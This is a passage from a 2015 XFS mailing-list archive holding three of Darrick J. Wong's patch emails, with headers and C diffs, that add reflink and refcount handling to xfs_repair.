05:10:00 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 22:10:00 -0700 Subject: [PATCH 44/51] xfs_repair: handle multiple owners of data blocks From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 44/51] xfs_repair: handle multiple owners of data blocks To: david@fromorbit.com, darrick.wong@oracle.com Cc: xfs@oss.sgi.com Date: Tue, 06 Oct 2015 22:09:59 -0700 Message-ID: <20151007050959.1504.47681.stgit@birch.djwong.org> In-Reply-To: <20151007050513.1504.28089.stgit@birch.djwong.org> References: <20151007050513.1504.28089.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: userv0022.oracle.com [156.151.31.74] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1444194605 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines If reflink is enabled, don't freak out if there are multiple owners of a given block; that's just a sign that each of those owners are reflink files. Signed-off-by: Darrick J. Wong --- repair/dinode.c | 53 +++++++++++++++++++++++++++++++++++++++++++++++++++++ repair/scan.c | 40 ++++++++++++++++++++++++++++++++++++++-- 2 files changed, 91 insertions(+), 2 deletions(-) diff --git a/repair/dinode.c b/repair/dinode.c index 2c0a421..5b7c31f 100644 --- a/repair/dinode.c +++ b/repair/dinode.c @@ -722,6 +722,9 @@ _("Fatal error: inode %" PRIu64 " - blkmap_set_ext(): %s\n" * checking each entry without setting the * block bitmap */ + if (type == XR_INO_DATA && + xfs_sb_version_hasreflink(&mp->m_sb)) + goto skip_dup; if (search_dup_extent(agno, agbno, ebno)) { do_warn( _("%s fork in ino %" PRIu64 " claims dup extent, " @@ -731,6 +734,7 @@ _("%s fork in ino %" PRIu64 " claims dup extent, " irec.br_blockcount); goto done; } +skip_dup: *tot += irec.br_blockcount; continue; } @@ -770,6 +774,9 @@ _("%s fork in inode %" PRIu64 " claims metadata block %" PRIu64 "\n"), case XR_E_INUSE: case XR_E_MULT: set_bmap_ext(agno, agbno, blen, XR_E_MULT); + if (type == XR_INO_DATA && + xfs_sb_version_hasreflink(&mp->m_sb)) + break; do_warn( _("%s fork in %s inode %" PRIu64 " claims used block %" PRIu64 "\n"), forkname, ftype, ino, b); @@ -2458,6 +2465,52 @@ _("bad (negative) size %" PRId64 " on inode %" PRIu64 "\n"), } } + /* + * check that we only have valid flags2 set, and those that are set make + * sense. + */ + if (dino->di_version >= 3) { + uint16_t flags = be16_to_cpu(dino->di_flags); + uint64_t flags2 = be64_to_cpu(dino->di_flags2); + + if (flags2 & ~XFS_DIFLAG2_ANY) { + if (!uncertain) { + do_warn( + _("Bad flags2 set in inode %" PRIu64 "\n"), + lino); + } + flags2 &= XFS_DIFLAG2_ANY; + } + + if ((flags2 & XFS_DIFLAG2_REFLINK) && + (flags & (XFS_DIFLAG_REALTIME | XFS_DIFLAG_RTINHERIT))) { + if (!uncertain) { + do_warn( + _("Cannot have a reflinked realtime inode %" PRIu64 "\n"), + lino); + } + goto clear_bad_out; + } + + if ((flags2 & XFS_DIFLAG2_REFLINK) && + !xfs_sb_version_hasreflink(&mp->m_sb)) { + if (!uncertain) { + do_warn( + _("inode %" PRIu64 " is marked reflinked but file system does not support reflink\n"), + lino); + } + goto clear_bad_out; + } + if (!verify_mode && flags2 != be64_to_cpu(dino->di_flags2)) { + if (!no_modify) { + do_warn(_("fixing bad flags2.\n")); + dino->di_flags2 = cpu_to_be64(flags2); + *dirty = 1; + } else + do_warn(_("would fix bad flags2.\n")); + } + } + if (verify_mode) return retval; diff --git a/repair/scan.c b/repair/scan.c index 4be02a6..54b9b68 100644 --- a/repair/scan.c +++ b/repair/scan.c @@ -783,7 +783,29 @@ ino_issparse( return xfs_inobt_is_sparse_disk(rp, offset); } - + +static bool +rmap_in_order( + xfs_agblock_t b, + xfs_agblock_t lastblock, + int64_t owner, + int64_t lastowner, + int64_t offset, + int64_t lastoffset) +{ + if (b > lastblock) + return true; + else if (b < lastblock) + return false; + + if (owner > lastowner) + return true; + else if (owner < lastowner) + return false; + + return offset > lastoffset; +} + static void scan_rmapbt( struct xfs_btree_block *block, @@ -910,7 +932,12 @@ advance: } else { bool bad; - bad = b <= lastblock; + if (xfs_sb_version_hasreflink(&mp->m_sb)) + bad = !rmap_in_order(b, lastblock, + owner, lastowner, + offset, lastoffset); + else + bad = b <= lastblock; if (bad) do_warn( _("out-of-order rmap btree record %d (%u %"PRId64" %"PRIx64" %u) block %u/%u\n"), @@ -997,6 +1024,15 @@ _("in use block (%d,%d-%d) mismatch in %s tree, state - %d,%" PRIx64 "\n"), * be caught later. */ break; + case XR_E_INUSE1: + /* + * multiple inode owners are ok with + * reflink enabled + */ + if (xfs_sb_version_hasreflink(&mp->m_sb) && + !XFS_RMAP_NON_INODE_OWNER(owner)) + break; + /* fall through */ default: do_warn( _("unknown block (%d,%d-%d) mismatch on %s tree, state - %d,%" PRIx64 "\n"), From darrick.wong@oracle.com Wed Oct 7 00:10:16 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id E8E8729E90 for ; Wed, 7 Oct 2015 00:10:16 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id D9D9C8F8049 for ; Tue, 6 Oct 2015 22:10:16 -0700 (PDT) X-ASG-Debug-ID: 1444194614-04cb6c578b0dab0001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id HvNT7z7uzLzH1fEJ (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 22:10:14 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from userv0021.oracle.com (userv0021.oracle.com [156.151.31.71]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t975A9wC022479 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 05:10:09 GMT Received: from userv0121.oracle.com (userv0121.oracle.com [156.151.31.72]) by userv0021.oracle.com (8.13.8/8.13.8) with ESMTP id t975A9Tr030585 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 05:10:09 GMT Received: from abhmp0010.oracle.com (abhmp0010.oracle.com [141.146.116.16]) by userv0121.oracle.com (8.13.8/8.13.8) with ESMTP id t975A83M023379; Wed, 7 Oct 2015 05:10:09 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 22:10:08 -0700 Subject: [PATCH 45/51] xfs_repair: process reverse-mapping data into refcount data From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 45/51] xfs_repair: process reverse-mapping data into refcount data To: david@fromorbit.com, darrick.wong@oracle.com Cc: xfs@oss.sgi.com Date: Tue, 06 Oct 2015 22:10:05 -0700 Message-ID: <20151007051005.1504.89142.stgit@birch.djwong.org> In-Reply-To: <20151007050513.1504.28089.stgit@birch.djwong.org> References: <20151007050513.1504.28089.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: userv0021.oracle.com [156.151.31.71] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1444194614 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Take all the reverse-mapping data we've acquired and use it to generate reference count data. This data is used in phase 5 to rebuild the refcount btree. Signed-off-by: Darrick J. Wong --- repair/phase4.c | 27 ++++++ repair/rmap.c | 236 +++++++++++++++++++++++++++++++++++++++++++++++++++++++ repair/rmap.h | 2 3 files changed, 263 insertions(+), 2 deletions(-) diff --git a/repair/phase4.c b/repair/phase4.c index 98aab35..0be8579 100644 --- a/repair/phase4.c +++ b/repair/phase4.c @@ -183,6 +183,21 @@ _("%s while checking reverse-mappings"), } static void +compute_ag_refcounts( + work_queue_t *wq, + xfs_agnumber_t agno, + void *arg) +{ + int error; + + error = compute_refcounts(wq->mp, agno); + if (error) + do_error( +_("%s while computing reference count records.\n"), + strerror(-error)); +} + +static void process_rmap_data( struct xfs_mount *mp) { @@ -196,6 +211,14 @@ process_rmap_data( for (i = 0; i < mp->m_sb.sb_agcount; i++) queue_work(&wq, check_rmap_btrees, i, NULL); destroy_work_queue(&wq); + + if (!xfs_sb_version_hasreflink(&mp->m_sb)) + return; + + create_work_queue(&wq, mp, libxfs_nproc()); + for (i = 0; i < mp->m_sb.sb_agcount; i++) + queue_work(&wq, compute_ag_refcounts, i, NULL); + destroy_work_queue(&wq); } void @@ -349,7 +372,9 @@ phase4(xfs_mount_t *mp) /* * Process all the reverse-mapping data that we collected. This - * involves checking the rmap data against the btree. + * involves checking the rmap data against the btree, computing + * reference counts based on the rmap data, and checking the counts + * against the refcount btree. */ process_rmap_data(mp); diff --git a/repair/rmap.c b/repair/rmap.c index 47fdabc..8818913 100644 --- a/repair/rmap.c +++ b/repair/rmap.c @@ -40,6 +40,7 @@ struct xfs_ag_rmap { struct xfs_slab *ar_raw_rmaps; /* unmerged rmaps */ int ar_flcount; /* agfl entries from leftover */ /* agbt allocations */ + struct xfs_slab *ar_refcount_items; /* refcount items, p4-5 */ }; static struct xfs_ag_rmap *ag_rmaps; @@ -83,7 +84,8 @@ bool needs_rmap_work( struct xfs_mount *mp) { - return xfs_sb_version_hasrmapbt(&mp->m_sb); + return xfs_sb_version_hasreflink(&mp->m_sb) || + xfs_sb_version_hasrmapbt(&mp->m_sb); } /** @@ -116,6 +118,11 @@ _("Insufficient memory while allocating reverse mapping slabs.")); if (error) do_error( _("Insufficient memory while allocating raw metadata reverse mapping slabs.")); + error = init_slab(&ag_rmaps[i].ar_refcount_items, + sizeof(struct xfs_refcount_irec)); + if (error) + do_error( +_("Insufficient memory while allocating refcount item slabs.")); } } @@ -136,6 +143,7 @@ free_rmaps( for (i = 0; i < mp->m_sb.sb_agcount; i++) { free_slab(&ag_rmaps[i].ar_rmaps); free_slab(&ag_rmaps[i].ar_raw_rmaps); + free_slab(&ag_rmaps[i].ar_refcount_items); } free(ag_rmaps); ag_rmaps = NULL; @@ -555,6 +563,232 @@ dump_rmap( # define dump_rmap(m, a, r) #endif +/* + * Rebuilding the Reference Count & Reverse Mapping Btrees + * + * The reference count (refcnt) and reverse mapping (rmap) btrees are rebuilt + * during phase 5, like all other AG btrees. Therefore, reverse mappings must + * be processed into reference counts at the end of phase 4, and the rmaps must + * be recorded during phase 4. There is a need to access the rmaps in physical + * block order, but no particular need for random access, so the slab.c code + * provides a big logical array (consisting of smaller slabs) and some inorder + * iterator functions. + * + * Once we've recorded all the reverse mappings, we're ready to translate the + * rmaps into refcount entries. Imagine the rmap entries as rectangles + * representing extents of physical blocks, and that the rectangles can be laid + * down to allow them to overlap each other; then we know that we must emit + * a refcnt btree entry wherever the amount of overlap changes, i.e. the + * emission stimulus is level-triggered: + * + * - --- + * -- ----- ---- --- ------ + * -- ---- ----------- ---- --------- + * -------------------------------- ----------- + * ^ ^ ^^ ^^ ^ ^^ ^^^ ^^^^ ^ ^^ ^ ^ ^ + * 2 1 23 21 3 43 234 2123 1 01 2 3 0 + * + * For our purposes, a rmap is a tuple (startblock, len, fileoff, owner). + * + * Note that in the actual refcnt btree we don't store the refcount < 2 cases + * because the bnobt tells us which blocks are free; single-use blocks aren't + * recorded in the bnobt or the refcntbt. If the rmapbt supports storing + * multiple entries covering a given block we could theoretically dispense with + * the refcntbt and simply count rmaps, but that's inefficient in the (hot) + * write path, so we'll take the cost of the extra tree to save time. Also + * there's no guarantee that rmap will be enabled. + * + * Given an array of rmaps sorted by physical block number, a starting physical + * block (sp), a bag to hold rmaps that cover sp, and the next physical + * block where the level changes (np), we can reconstruct the refcount + * btree as follows: + * + * While there are still unprocessed rmaps in the array, + * - Set sp to the physical block (pblk) of the next unprocessed rmap. + * - Add to the bag all rmaps in the array where startblock == sp. + * - Set np to the physical block where the bag size will change. + * This is the minimum of (the pblk of the next unprocessed rmap) and + * (startblock + len of each rmap in the bag). + * - Record the bag size as old_bag_size. + * + * - While the bag isn't empty, + * - Remove from the bag all rmaps where startblock + len == np. + * - Add to the bag all rmaps in the array where startblock == np. + * - If the bag size isn't old_bag_size, store the refcount entry + * (sp, np - sp, bag_size) in the refcnt btree. + * - If the bag is empty, break out of the inner loop. + * - Set old_bag_size to the bag size + * - Set sp = np. + * - Set np to the physical block where the bag size will change. + * This is the minimum of (the pblk of the next unprocessed rmap) and + * (startblock + len of each rmap in the bag). + * + * An implementation detail is that because this processing happens during + * phase 4, the refcount entries are stored in an array so that phase 5 can + * load them into the refcount btree. The rmaps can be loaded directly into + * the rmap btree during phase 5 as well. + */ + +/* + * Emit a refcount object for refcntbt reconstruction during phase 5. + */ +#define REFCOUNT_CLAMP(nr) ((nr) > MAXREFCOUNT ? MAXREFCOUNT : (nr)) +static void +refcount_emit( + struct xfs_mount *mp, + xfs_agnumber_t agno, + xfs_agblock_t agbno, + xfs_extlen_t len, + size_t nr_rmaps) +{ + struct xfs_refcount_irec rlrec; + int error; + struct xfs_slab *rlslab; + + rlslab = ag_rmaps[agno].ar_refcount_items; + ASSERT(nr_rmaps > 0); + + dbg_printf("REFL: agno=%u pblk=%u, len=%u -> refcount=%zu\n", + agno, agbno, len, nr_rmaps); + rlrec.rc_startblock = agbno; + rlrec.rc_blockcount = len; + rlrec.rc_refcount = REFCOUNT_CLAMP(nr_rmaps); + error = slab_add(rlslab, &rlrec); + if (error) + do_error( +_("Insufficient memory while recreating refcount tree.")); +} +#undef REFCOUNT_CLAMP + +/** + * compute_refcounts() - Transform a pile of physical block mapping + * observations into refcount data for eventual + * rebuilding of the btrees. + * + * @mp: XFS mount object. + * @agno: AG number. + */ +#define RMAP_END(r) ((r)->rm_startblock + XFS_RMAP_LEN((r)->rm_blockcount)) +int +compute_refcounts( + struct xfs_mount *mp, + xfs_agnumber_t agno) +{ + struct xfs_bag *stack_top = NULL; + struct xfs_slab *rmaps; + struct xfs_slab_cursor *rmaps_cur; + struct xfs_rmap_irec *array_cur; + struct xfs_rmap_irec *rmap; + xfs_agblock_t sbno; /* first bno of this rmap set */ + xfs_agblock_t cbno; /* first bno of this refcount set */ + xfs_agblock_t nbno; /* next bno where rmap set changes */ + size_t n, idx; + size_t old_stack_nr; + int error; + + if (!xfs_sb_version_hasreflink(&mp->m_sb)) + return 0; + + rmaps = ag_rmaps[agno].ar_rmaps; + + error = init_slab_cursor(rmaps, rmap_compare, &rmaps_cur); + if (error) + return error; + + error = init_bag(&stack_top); + if (error) + goto err; + + /* While there are rmaps to be processed... */ + n = 0; + while (n < slab_count(rmaps)) { + array_cur = peek_slab_cursor(rmaps_cur); + sbno = cbno = array_cur->rm_startblock; + /* Push all rmaps with pblk == sbno onto the stack */ + for (; + array_cur && array_cur->rm_startblock == sbno; + array_cur = peek_slab_cursor(rmaps_cur)) { + advance_slab_cursor(rmaps_cur); n++; + dump_rmap("push0", agno, array_cur); + error = bag_add(stack_top, array_cur); + if (error) + goto err; + } + + /* Set nbno to the bno of the next refcount change */ + if (n < slab_count(rmaps)) + nbno = array_cur->rm_startblock; + else + nbno = NULLAGBLOCK; + foreach_bag_ptr(stack_top, idx, rmap) { + nbno = min(nbno, RMAP_END(rmap)); + } + + /* Emit reverse mappings, if needed */ + ASSERT(nbno > sbno); + old_stack_nr = bag_count(stack_top); + + /* While stack isn't empty... */ + while (bag_count(stack_top)) { + /* Pop all rmaps that end at nbno */ + foreach_bag_ptr_reverse(stack_top, idx, rmap) { + if (RMAP_END(rmap) != nbno) + continue; + dump_rmap("pop", agno, rmap); + error = bag_remove(stack_top, idx); + if (error) + goto err; + } + + /* Push array items that start at nbno */ + for (; + array_cur && array_cur->rm_startblock == nbno; + array_cur = peek_slab_cursor(rmaps_cur)) { + advance_slab_cursor(rmaps_cur); n++; + dump_rmap("push1", agno, array_cur); + error = bag_add(stack_top, array_cur); + if (error) + goto err; + } + + /* Emit refcount if necessary */ + ASSERT(nbno > cbno); + if (bag_count(stack_top) != old_stack_nr) { + if (old_stack_nr > 1) { + refcount_emit(mp, agno, cbno, + nbno - cbno, + old_stack_nr); + } + cbno = nbno; + } + + /* Stack empty, go find the next rmap */ + if (bag_count(stack_top) == 0) + break; + old_stack_nr = bag_count(stack_top); + sbno = nbno; + + /* Set nbno to the bno of the next refcount change */ + if (n < slab_count(rmaps)) + nbno = array_cur->rm_startblock; + else + nbno = NULLAGBLOCK; + foreach_bag_ptr(stack_top, idx, rmap) { + nbno = min(nbno, RMAP_END(rmap)); + } + + /* Emit reverse mappings, if needed */ + ASSERT(nbno > sbno); + } + } +err: + free_bag(&stack_top); + free_slab_cursor(&rmaps_cur); + + return error; +} +#undef RMAP_END + /** * rmap_record_count() -- Return the number of rmap objects for an AG. * diff --git a/repair/rmap.h b/repair/rmap.h index 0b4e73b..13df5d6 100644 --- a/repair/rmap.h +++ b/repair/rmap.h @@ -39,6 +39,8 @@ extern int init_rmap_cursor(xfs_agnumber_t, struct xfs_slab_cursor **); extern void rmap_avoid_check(void); extern int check_rmaps(struct xfs_mount *, xfs_agnumber_t); +extern int compute_refcounts(struct xfs_mount *, xfs_agnumber_t); + extern void fix_freelist(struct xfs_mount *, xfs_agnumber_t, bool); extern void rmap_store_agflcount(struct xfs_mount *, xfs_agnumber_t, int); From darrick.wong@oracle.com Wed Oct 7 00:10:22 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 4A5B029EF5 for ; Wed, 7 Oct 2015 00:10:22 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 39A668F8037 for ; Tue, 6 Oct 2015 22:10:22 -0700 (PDT) X-ASG-Debug-ID: 1444194620-04cbb03f120db20001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id rD6TKikS2KzTUdg8 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 22:10:20 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from userv0022.oracle.com (userv0022.oracle.com [156.151.31.74]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t975AF6h022560 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 05:10:15 GMT Received: from userv0121.oracle.com (userv0121.oracle.com [156.151.31.72]) by userv0022.oracle.com (8.13.8/8.13.8) with ESMTP id t975AFKT010419 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 05:10:15 GMT Received: from abhmp0002.oracle.com (abhmp0002.oracle.com [141.146.116.8]) by userv0121.oracle.com (8.13.8/8.13.8) with ESMTP id t975AFZr023393; Wed, 7 Oct 2015 05:10:15 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 22:10:14 -0700 Subject: [PATCH 46/51] xfs_repair: record reflink inode state From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 46/51] xfs_repair: record reflink inode state To: david@fromorbit.com, darrick.wong@oracle.com Cc: xfs@oss.sgi.com Date: Tue, 06 Oct 2015 22:10:13 -0700 Message-ID: <20151007051013.1504.65933.stgit@birch.djwong.org> In-Reply-To: <20151007050513.1504.28089.stgit@birch.djwong.org> References: <20151007050513.1504.28089.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: userv0022.oracle.com [156.151.31.74] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1444194620 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Record the state of the per-inode reflink flag, so that we can compare against the rmap data and update the flags accordingly. Signed-off-by: Darrick J. Wong --- repair/dinode.c | 6 ++++++ repair/incore.h | 38 ++++++++++++++++++++++++++++++++++++++ repair/incore_ino.c | 2 ++ repair/rmap.c | 32 ++++++++++++++++++++++++++++++++ repair/rmap.h | 3 +++ 5 files changed, 81 insertions(+) diff --git a/repair/dinode.c b/repair/dinode.c index 5b7c31f..89adb4f 100644 --- a/repair/dinode.c +++ b/repair/dinode.c @@ -2606,6 +2606,12 @@ _("bad non-zero extent size %u for non-realtime/extsize inode %" PRIu64 ", "), goto clear_bad_out; /* + * record the state of the reflink flag + */ + if (collect_rmaps) + record_inode_reflink_flag(mp, dino, agno, ino, lino); + + /* * check data fork -- if it's bad, clear the inode */ if (process_inode_data_fork(mp, agno, ino, dino, type, dirty, diff --git a/repair/incore.h b/repair/incore.h index b6c4b4f..bcd2f4b 100644 --- a/repair/incore.h +++ b/repair/incore.h @@ -283,6 +283,8 @@ typedef struct ino_tree_node { __uint64_t ir_sparse; /* sparse inode bitmask */ __uint64_t ino_confirmed; /* confirmed bitmask */ __uint64_t ino_isa_dir; /* bit == 1 if a directory */ + __uint64_t ino_was_rl; /* bit == 1 if reflink flag set */ + __uint64_t ino_is_rl; /* bit == 1 if reflink flag should be set */ __uint8_t nlink_size; union ino_nlink disk_nlinks; /* on-disk nlinks, set in P3 */ union { @@ -494,6 +496,42 @@ static inline bool is_inode_sparse(struct ino_tree_node *irec, int offset) } /* + * set/clear/test was inode marked as reflinked + */ +static inline void set_inode_was_rl(struct ino_tree_node *irec, int offset) +{ + irec->ino_was_rl |= IREC_MASK(offset); +} + +static inline void clear_inode_was_rl(struct ino_tree_node *irec, int offset) +{ + irec->ino_was_rl &= ~IREC_MASK(offset); +} + +static inline int inode_was_rl(struct ino_tree_node *irec, int offset) +{ + return (irec->ino_was_rl & IREC_MASK(offset)) != 0; +} + +/* + * set/clear/test should inode be marked as reflinked + */ +static inline void set_inode_is_rl(struct ino_tree_node *irec, int offset) +{ + irec->ino_is_rl |= IREC_MASK(offset); +} + +static inline void clear_inode_is_rl(struct ino_tree_node *irec, int offset) +{ + irec->ino_is_rl &= ~IREC_MASK(offset); +} + +static inline int inode_is_rl(struct ino_tree_node *irec, int offset) +{ + return (irec->ino_is_rl & IREC_MASK(offset)) != 0; +} + +/* * add_inode_reached() is set on inode I only if I has been reached * by an inode P claiming to be the parent and if I is a directory, * the .. link in the I says that P is I's parent. diff --git a/repair/incore_ino.c b/repair/incore_ino.c index 32d7678..674bedb 100644 --- a/repair/incore_ino.c +++ b/repair/incore_ino.c @@ -257,6 +257,8 @@ alloc_ino_node( irec->ino_startnum = starting_ino; irec->ino_confirmed = 0; irec->ino_isa_dir = 0; + irec->ino_was_rl = 0; + irec->ino_is_rl = 0; irec->ir_free = (xfs_inofree_t) - 1; irec->ir_sparse = 0; irec->ino_un.ex_data = NULL; diff --git a/repair/rmap.c b/repair/rmap.c index 8818913..2e79577 100644 --- a/repair/rmap.c +++ b/repair/rmap.c @@ -961,6 +961,38 @@ err: return 0; } +/* + * record_inode_reflink_flag() -- Record that an inode had the reflink flag + * set when repair started. The inode reflink + * flag will be adjusted as necessary. + * @mp: XFS mount object. + * @dino: On-disk inode. + * @agno: AG number of the inode. + * @ino: AG inode number. + * @lino: Full inode number. + */ +void +record_inode_reflink_flag( + struct xfs_mount *mp, + struct xfs_dinode *dino, + xfs_agnumber_t agno, + xfs_agino_t ino, + xfs_ino_t lino) +{ + struct ino_tree_node *irec; + int off; + + ASSERT(XFS_AGINO_TO_INO(mp, agno, ino) == be64_to_cpu(dino->di_ino)); + if (!(be64_to_cpu(dino->di_flags2) & XFS_DIFLAG2_REFLINK)) + return; + irec = find_inode_rec(mp, agno, ino); + off = get_inode_offset(mp, lino, irec); + ASSERT(!inode_was_rl(irec, off)); + set_inode_was_rl(irec, off); + dbg_printf("set was_rl lino=%llu was=0x%llx\n", + (unsigned long long)lino, (unsigned long long)irec->ino_was_rl); +} + /** * fix_freelist() - Regenerate the AGFL, so that we don't run out of it while * rebuilding the rmapbt. diff --git a/repair/rmap.h b/repair/rmap.h index 13df5d6..b404c59 100644 --- a/repair/rmap.h +++ b/repair/rmap.h @@ -41,6 +41,9 @@ extern int check_rmaps(struct xfs_mount *, xfs_agnumber_t); extern int compute_refcounts(struct xfs_mount *, xfs_agnumber_t); +extern void record_inode_reflink_flag(struct xfs_mount *, struct xfs_dinode *, + xfs_agnumber_t, xfs_agino_t, xfs_ino_t); + extern void fix_freelist(struct xfs_mount *, xfs_agnumber_t, bool); extern void rmap_store_agflcount(struct xfs_mount *, xfs_agnumber_t, int); From darrick.wong@oracle.com Wed Oct 7 00:10:30 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 0C10C29E90 for ; Wed, 7 Oct 2015 00:10:30 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id D45E9304053 for ; Tue, 6 Oct 2015 22:10:29 -0700 (PDT) X-ASG-Debug-ID: 1444194627-04bdf020dc0eab0001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id XgQY967Ep5rzg737 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 22:10:27 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from aserv0022.oracle.com (aserv0022.oracle.com [141.146.126.234]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t975AMoe022586 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 05:10:23 GMT Received: from userv0122.oracle.com (userv0122.oracle.com [156.151.31.75]) by aserv0022.oracle.com (8.13.8/8.13.8) with ESMTP id t975ALkX003790 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 05:10:22 GMT Received: from abhmp0009.oracle.com (abhmp0009.oracle.com [141.146.116.15]) by userv0122.oracle.com (8.13.8/8.13.8) with ESMTP id t975ALuG025961; Wed, 7 Oct 2015 05:10:21 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 22:10:21 -0700 Subject: 